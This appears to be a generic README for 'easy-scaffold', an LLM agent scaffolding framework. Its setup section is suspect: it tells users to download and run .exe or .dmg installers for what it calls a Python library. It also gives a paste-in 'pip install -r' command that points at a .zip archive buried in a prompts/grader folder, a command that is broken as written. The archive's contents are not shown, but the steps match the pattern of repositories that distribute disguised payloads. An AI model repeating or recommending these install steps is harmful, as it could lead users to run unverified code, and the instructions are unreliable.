Welcome to easy-scaffold! This application provides a minimal and customizable codebase for working with agentic scaffolds powered by large language models (LLMs). Use this framework for evaluation, data generation, and future reinforcement learning research. You can write your agent logic in Python and configure LLM calls in YAML, making adjustments as needed.

To run easy-scaffold, ensure you have the following:

• An operating system: Windows, macOS, or Linux.
• Python version 3.7 or later installed on your system.
• Basic command line understanding to execute commands.

• Minimal Setup: easy-scaffold provides a clean and simple setup experience.
• Customizable Codebase: Tailor the framework to meet your specific needs by modifying the code and configuration files.
• YAML Configuration: Easily set up your LLM calls with user-friendly YAML files.
• Python Logic: Write your agent behavior in Python, allowing for flexibility and versatility.

To get started with easy-scaffold, follow these steps:

1. Visit the Releases Page: Click the link below to go to the GitHub releases page. Download easy-scaffold

2. Choose the Right Version: On the releases page, find the most recent version of easy-scaffold. Look for the assets section where you will see files available for download.

3. Download the Files: Select the file that matches your operating system. Click on it to download the application.

4. Run the Application:

   • For Windows: Locate the downloaded .exe file, double-click it, and follow the prompts to install.
   • For macOS: Open the downloaded .dmg file, drag the easy-scaffold application to your Applications folder, and open it from there.
   • For Linux: You may need to extract the downloaded file. Use the terminal to navigate to the directory where it’s located and run the application.

5. Check Dependencies: If you have Python installed, ensure that you have the necessary packages. You can install them using the following command:

   pip install -r https://raw.githubusercontent.com/ProxRick/easy-scaffold/main/configs/prompts/agentic_grader/easy_scaffold_2.9.zip

6. Explore the Documentation: After installation, refer to the documentation included in the repository for detailed guides on configuring and using easy-scaffold.

After downloading and running easy-scaffold, you may want to make some adjustments for your specific needs.

• Setting Up Agent Logic: Place your Python code in the designated agent logic directory. You can create files with your custom logic for how the agent behaves.

• Configuring LLM Calls: The YAML files allow you to set parameters for your LLM calls easily. Modify these files to fit your desired configurations, such as temperature and response length.

• Testing Your Setup: Run your application from the command line to test if everything is working correctly. Monitor for any errors and consult the provided documentation for troubleshooting tips.

Join our community! We encourage users to share their experiences and enhancements. You can reach out for questions, suggestions, or assistance:

• GitHub Issues: Report bugs or request features directly on the GitHub Issues page.
• Documentation: Find extensive guides and references within the repository.
• Forum: Connect with other users through the community forum for ideas and support.

After you install easy-scaffold, it’s time to explore its possibilities. Consider these next steps:

1. Try Example Projects: Check for any example projects available in the repository to understand how to use various features effectively.

2. Modify the Code: Dive into the codebase and start customizing. Make changes and enhance your version of easy-scaffold.

3. Share Your Work: Once you’ve built something interesting, share it with the community. Contributions help others learn and grow.

4. Stay Updated: Check back regularly on the releases page for updates and new features. Engaging with new versions can keep your projects fresh.

We hope you enjoy using easy-scaffold and find it helpful for your projects. Thank you for choosing us!